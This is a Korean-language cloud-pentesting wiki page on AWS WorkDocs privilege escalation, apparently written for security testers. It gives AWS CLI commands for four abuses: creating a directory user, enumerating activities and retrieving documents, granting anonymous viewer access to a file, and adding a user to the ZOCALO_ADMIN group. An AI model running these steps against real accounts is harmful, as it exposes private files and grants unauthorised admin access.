AWS - WorkDocs Privesc

WorkDocs

WorkDocs์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

AWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

์ง€์ •๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์— ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ, WorkDocs์™€ AD์— ๋ชจ๋‘ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

ํŒŒ์ผ์—๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

๋งŒ์•ฝ ๋‹น์‹ ์ด ๋ฌด์–ธ๊ฐ€๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์—†๋‹ค๋ฉด, ๊ทธ๊ฒƒ์„ ๊ทธ๋ƒฅ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

์‚ฌ์šฉ์ž๋ฅผ ZOCALO_ADMIN ๊ทธ๋ฃน์— ์„ค์ •ํ•˜์—ฌ ๊ด€๋ฆฌ์ž๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฅผ ์œ„ํ•ด https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html์˜ ์ง€์นจ์„ ๋”ฐ๋ฅด์„ธ์š”.

ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ workdoc์— ๋กœ๊ทธ์ธํ•˜๊ณ  /workdocs/index.html#/admin์—์„œ ๊ด€๋ฆฌ์ž ํŒจ๋„์— ์•ก์„ธ์Šคํ•˜์„ธ์š”.

CLI์—์„œ ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค.

Last updated